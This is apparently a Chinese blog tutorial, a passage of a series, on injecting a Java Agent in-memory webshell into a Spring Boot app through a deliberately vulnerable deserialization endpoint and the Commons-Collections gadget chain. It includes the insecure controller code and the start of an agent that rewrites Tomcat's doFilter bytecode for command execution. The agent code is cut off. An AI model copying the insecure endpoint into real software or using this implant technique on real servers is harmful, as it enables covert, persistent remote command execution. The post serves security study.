构造agent类型的内存马(内存马系列篇十三)

本文介绍了如何利用JAVA Agent技术构建内存马,通过Springboot搭建漏洞环境,演示了利用反序列化漏洞注入内存马的过程。文章详细阐述了编写agent.jar、序列化数据的编写以及注入演示的步骤,涉及字节码修改和命令执行逻辑,是内存马系列的第十三篇。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

写在前面

前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。

这是内存马系列篇的第十三篇了。

环境搭建

我这里就使用Springboot来搭建一个简单的漏洞环境,对于agent内存马的注入,我这里搭建的是一个具有明显的反序列化漏洞的web服务,通过反序列化漏洞来进行内存马的注入,

IDEA新建一个springboot项目

漏洞代码:

package com.roboterh.vuln.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class CommonsCollectionsVuln {
    @ResponseBody
    @RequestMapping("/unser")
    public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
        java.io.InputStream inputStream =  request.getInputStream();
        ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
        objectInputStream.readObject();
        response.getWriter().println("successfully!!!");
    }

    @ResponseBody
    @RequestMapping("/demo")
    public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
        response.getWriter().println("This is a Demo!!!");
    }
}

/unser路由中,获取了请求体的序列化数据,进行反序列化调用;

/demo路由中,返回了一个字符串;

我打算的是通过CC链进行写入。

添加依赖。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

正式注入

编写agent.jar

有了前面的知识,我们知道在一个运行中的web服务中,对于premain方法的调用方式不太适用,更实用的是通过agentmain方法的调用。

在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码,所以如果我们能够在该方法中实现我们的恶意逻辑,就能够达到我们的目的。

但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏?这里我们是通过类似于前面提到过的在Tomcat
Filter内存马类似的思想,通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter方法。

只是对于前面所提到的Filter型内存马的实现主要是通过动态添加了一个过滤器,通过配置特定的路由和调用对应的doFilter方法进行利用。

这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist框架进行修改doFilter方法的字节码。

非常友好的是在doFilter方法中存在有ServletRequest / ServletResponse实例,可以直接和请求进行交互。

image-20221020210332062.png

好了,接下来看看实现,我们可以简化为以下关键的几步:

  1. 通过addTransformer方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer接口的一个类。
    image-20221020210557192.png

  2. 之后通过调用retransformClasses方法,来触发前面添加的转换器的transform方法来修改传入的类的对应方法的字节码。

image-20221020210646261.png

首先是一个存在有agentmain方法的AgentDemo类。

import java.lang.instrument.Instrumentation;

public class AgentDemo {
    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation inst) {
        inst.addTransformer(new TransformerDemo(), true);
        Class[] allLoadedClasses = inst.getAllLoadedClasses();
        for (Class aClass : allLoadedClasses) {
            if (aClass.getName().equals(ClassName)) {
                System.out
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值